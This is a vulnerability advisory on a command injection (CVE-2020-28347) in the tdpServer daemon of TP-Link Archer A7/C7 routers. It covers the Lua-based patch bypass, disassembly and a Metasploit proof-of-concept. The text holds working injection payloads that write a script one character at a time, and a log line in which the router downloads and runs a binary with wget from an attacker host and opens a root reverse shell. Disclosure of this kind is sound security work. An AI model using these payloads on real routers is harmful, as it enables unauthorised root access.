minesweeper

Summary

This advisory describes a command injection vulnerability that was found by **Pedro Ribeiro (@pedrib1337 |** pedrib@gmail.com) and **Radek Domanski (@RabbitPro |** radek.domanski@gmail.com) and was supposed to be presented at Zero Day Initiative **Pwn2Own Tokyo 2020** competition in November 2020 (see below why "supposed").

The vulnerability exists in the tdpServer daemon (*/usr/bin/tdpServer*), running on the router TP-Link Archer A7 and C7 (AC1750), hardware version 5, MIPS Architecture, firmware versions 200721 and 200628 respectively.

This vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command as root, including downloading and executing a binary from another host.

All function offsets and code snippets in this advisory were taken from */usr/bin/tdpServer*, firmware version 200721 of A7 model.

During Pwn2Own 2019 we pwned the same service. Technical details of that exploit and details on the tdpServer are public and can be found here:

- ZDI: Exploiting the TP-Link Archer A7 at Pwn2Own Tokyo
- Pedro's 2019 advisory
- Radek's 2019 advisory

Therefore, we refer to those publications to understand inner working of the service and in this advisory we will only focus on differences to an exploit from 2019.

We never got to use it...

This vulnerability was patched by TP-Link on firmware 201029 for the A7 version and 201030 for the C7 version. The patch was dropped one day before the competition, wiping out a lot of Pwn2Own contestants, including us, so the exploit described below was never used in the competition.

We have updated the Metasploit module that we released last year with the new injection technique. This new technique also works with the older firmware that we exploited last year!

CVE-2020-28347 has been assigned for this vulnerability.

A copy of this advisory can be found at:

- Pedro's GitHub repository
- Radek's GitHub repository

Enjoy!

~ Team Flashback

Vulnerability Details

Background on *tdpServer*

The *tdpServer* daemon listens on port 20002/udp on interface 0.0.0.0. The whole functionality of the daemon is not fully understood by the authors, as this was unnecessary for exploitation. However, the daemon seems to be a bridge between the TP-Link mobile application and the router, allowing to establish some sort of control channel from the mobile application.

The daemon communicates with the mobile application through the use of UDP packets, with an encrypted payload.

For technical details on how tdpServer works and processes encrypted packets please refer to the publications of *lao_bomb* referenced above (from our Pwn2Own 2019 whitepaper).

Understanding the vulnerability

TP-Link patched the original CVE-2020-10882 vulnerability which was described as:

> This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Archer A7 Firmware Ver: 190726 AC1750 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the tdpServer service, which listens on UDP port 20002 by default. When parsing the slave_mac parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the root user.

So the original vulnerability was a command injection in the prepared string that was passed to system():

```
(...)
  print_debug("tdpOneMesh.c:3363","Sync wifi for specified mac %s start.....",slaveMac);
  memset(systemCmd,0,0x200);
  snprintf(systemCmd,0x1ff,
    "lua -e \'require(\"luci.controller.admin.onemesh\"). \
    sync_wifi_specified({mac=\"%s\"})\'",slaveMac);
  print_debug("tdpOneMesh.c:3368","systemCmd: %s",systemCmd);
  system(systemCmd);
  print_debug("tdpOneMesh.c:3370","Sync wifi for specified mac %s end.....",slaveMac);
(...)
```

> Snippet 1: Vulnerability exploited by us in Pwn2Own 2019 (CVE-2020-10882)

The fix by TP-Link removed the call to system() and instead used Lua C bindings to invoke a lua script:

```
print_debug("tdpOneMesh.c:3401", "Sync wifi for specified mac %s start.....", slave_mac);
lua_onemesh_call(slave_mac);
```

> Snippet 2: Call to lua_onemesh_call (0x416164)

This removed the possibility for a command injection on the system() call, since it doesn't exist any more.

However, looking at the lua_onemesh_call() is can be observed that the "luci.controller.admin.onemesh" lua script is still invoked. It uses a special function named "dispatch" that passes an argument and executes a handler for a requested function. In this case it will be a request to execute sync_wifi_specified(slave_mac). slave_mac is an argument that we control when we send the UDP packet.

```
lua_pcall_obj = lua_pcall("luci.controller.admin.onemesh");
if (lua_pcall_obj != 0) {
        iVar1 = lua_get_table_and_call(lua_pcall_obj,"dispatch",arg,&PTR_s_form_0041aac0,0);
```

> Snippet 3: lua_onemesh_call (0x4171ac)

At this point a deeper look at how lua scripts work in the router is needed. Lua scripts are compiled so we need to understand its disassembly. Fortunately, lua is a stack based language so it is relatively easy to understand its logic.

The sync_wifi_specified() is quite long so only the vulnerable part is presented here:

```
  179 [-]: GETTABLE  R10 R0 K0    ; R10 := R0["mac"]
  180 [-]: SETTABLE  R9 K51 R10   ; R9["target_id"] := R10
  181 [-]: GETUPVAL  R10 U2       ; R10 := U2
  182 [-]: GETTABLE  R10 R10 K40  ; R10 := R10["encode"]
  183 [-]: MOVE      R11 R9       ; R11 := R9
  184 [-]: CALL      R10 2 2      ; R10 := R10(R11)
  185 [-]: GETUPVAL  R11 U0       ; R11 := U0
  186 [-]: GETTABLE  R11 R11 K52  ; R11 := R11["printf"]
  187 [-]: LOADK     R12 K53      ; R12 := "ubus call sync sync_wifi \'"
  188 [-]: MOVE      R13 R10      ; R13 := R10
  189 [-]: LOADK     R14 K54      ; R14 := "\' &"
  190 [-]: CONCAT    R12 R12 R14  ; R12 := concat(R12 to R14)
  191 [-]: CALL      R11 2 1      ;  := R11(R12)
  192 [-]: GETUPVAL  R11 U4       ; R11 := U4
  193 [-]: GETTABLE  R11 R11 K55  ; R11 := R11["fork_call"]
  194 [-]: LOADK     R12 K53      ; R12 := "ubus call sync sync_wifi \'"
  195 [-]: MOVE      R13 R10      ; R13 := R10
  196 [-]: LOADK     R14 K54      ; R14 := "\' &"
  197 [-]: CONCAT    R12 R12 R14  ; R12 := concat(R12 to R14)
  198 [-]: CALL      R11 2 1      ;  := R11(R12)
  199 [-]: LOADBOOL  R11 1 0      ; R11 := true
  200 [-]: RETURN    R11 2        ; return R11
  201 [-]: RETURN    R0 1         ; return
```

> Snippet 4: Disassembly of sync_wifi_specified() in luci.controller.admin.onemesh

Our controlled parameter (slave_mac) is assigned to a key "target_id". A command is constructed using printf which is next passed to the fork_call lua function. As it can be seen in lines 187 - 189, json content is injected and the actual command prototype is: `ubus call sync sync_wifi '<json>' &` .

As our controlled parameter is not sanitized before constructing the json we can escape the json context and execute commands within the scope of the lua script process, which runs as root. Effectively a following command will be executed by the lua and run in a shell:

```
ubus call sync sync_wifi '{"load":"/tmp/onemesh_sync_wifi_tmp_json","timeout":5,"target_id":"<Controlled_Parameter>"}' &
```

Exploitation

Reaching the vulnerable function

To reach a vulnerable function we need to construct and encrypt a packet with specific parameters. As the packet structure is the same as described in the previous advisory we will not discuss it here. Please refer to last year's advisory for details.

Achieving code execution

Similarly to CVE-2020-10882 we are still limited by the 0x11 characters that we can use. strncpy() copies the slave_mac_info key into the slaveMac variable:

`strncpy(slave_mac,*(char **)(iVar6 + 0x10),0x11);` .

strncpy() doesn't null-terminate the destination string by default, so the usable length is supposedly to be 16 characters. However, we are saved by two things:

1. at the beginning of the function the whole buffer space is memset to 0 (`memset(slave_mac,0,0x424);`);
2. due to byte alignment, the slave_mac variable is actually at least 0x12 (18) chars. This means that even if we send 17 characters, the string will always be null terminated.

So even if we inject 17 characters, the string will always be null terminated, which is essential for the exploit to succeed. Note that it might be possible to inject more characters at once, but this was the quickest path to success, and we did not focus on efficiency.

Since we have the same limitations to last year's exploit, we need to use a similar approach of printing character by character into a file and execute it as a shell script in the last step. In addition, escaping needs to be done differently:

```
'`<PAYLOAD\>`'
```

A running exploit looks like this:

```
ubus call sync sync_wifi '{"load":"/tmp/onemesh_sync_wifi_tmp_json","timeout":5,"target_id":"'`printf ';'>>b`'"}' &
ubus call sync sync_wifi '{"load":"/tmp/onemesh_sync_wifi_tmp_json","timeout":5,"target_id":"'`printf '.'>>b`'"}' &
ubus call sync sync_wifi '{"load":"/tmp/onemesh_sync_wifi_tmp_json","timeout":5,"target_id":"'`printf '/'>>b`'"}' &
ubus call sync sync_wifi '{"load":"/tmp/onemesh_sync_wifi_tmp_json","timeout":5,"target_id":"'`printf 'q'>>b`'"}' &
ubus call sync sync_wifi '{"load":"/tmp/onemesh_sync_wifi_tmp_json","timeout":5,"target_id":"'`sh b`'"}' &
```

> Snippet 5: Example of sending payload char by char

PoC

```
msf6 > use exploit/linux/misc/minesweeper
[*] Using configured payload linux/mipsbe/shell_reverse_tcp
msf6 exploit(linux/misc/minesweeper) > set rhost 192.168.0.1
rhost => 192.168.0.1
msf6 exploit(linux/misc/minesweeper) > set lhost 192.168.0.100
lhost => 192.168.0.100
msf6 exploit(linux/misc/minesweeper) > set srvhost 192.168.0.100
srvhost => 192.168.0.100
msf6 exploit(linux/misc/minesweeper) > run

[*] Started reverse TCP handler on 192.168.0.100:4444
[*] Attempting to exploit TP-Link Archer A7/C7 (AC1750) v5 (firmware 200721)
[*] Starting up our web service on http://192.168.0.100:8080 ...
[*] Using URL: http://192.168.0.100:8080/r
[*] 192.168.0.1:20002 - Connecting to the target
[*] 192.168.0.1:20002 - Sending command file byte by byte
[*] 192.168.0.1:20002 - Command: wget http://192.168.0.100:8080/r;chmod +x r;./r
[*] 192.168.0.1:20002 - [0%]= = => - - - - - - - - - - - - - - - -[100%]
[*] 192.168.0.1:20002 - [0%]= = = = = = => - - - - - - - - - - - -[100%]
[*] 192.168.0.1:20002 - [0%]= = = = = = = = = = => - - - - - - - -[100%]
[*] 192.168.0.1:20002 - [0%]= = = = = = = = = = = = = = => - - - -[100%]
[*] 192.168.0.1:20002 - [0%]= = = = = = = = = = = = = = = = = = =>[100%]
[*] 192.168.0.1:20002 - Command file sent, attempting to execute...
[+] 192.168.0.1:20002 - Sending executable to the router
[+] 192.168.0.1:20002 - Sit back and relax, Shelly will come visit soon!
[*] Command shell session 1 opened (192.168.0.100:4444 -> 192.168.0.1:57818) at 2020-11-01 21:53:30 +0700
[*] Server stopped.

uid=0(root) gid=0(root)
uname -a
Linux ArcherA7v5 3.3.8 #1 Tue Jul 14 22:44:46 CST 2020 mips GNU/Linux
```